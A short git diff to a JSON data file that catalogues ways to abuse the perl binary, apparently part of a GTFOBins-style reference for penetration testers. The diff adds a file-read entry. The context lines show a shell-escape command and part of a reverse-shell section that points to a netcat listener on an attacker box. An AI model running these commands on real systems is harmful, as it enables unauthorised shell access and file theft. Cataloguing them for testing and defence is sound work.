diff --git a/data/perl.json b/data/perl.json
index b1c382a..38acd0e 100644
--- a/data/perl.json
+++ b/data/perl.json
@@ -5,6 +5,11 @@
         "code": "perl -e 'exec \"/bin/sh\";'"
       }
     ],
+    "file-read": [
+      {
+        "code": "perl -ne print [file]"
+      }
+    ],
     "reverse-shell": [
       {
         "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
@@ -27,4 +32,4 @@
       }
     ]
   }
-}
\ No newline at end of file
+}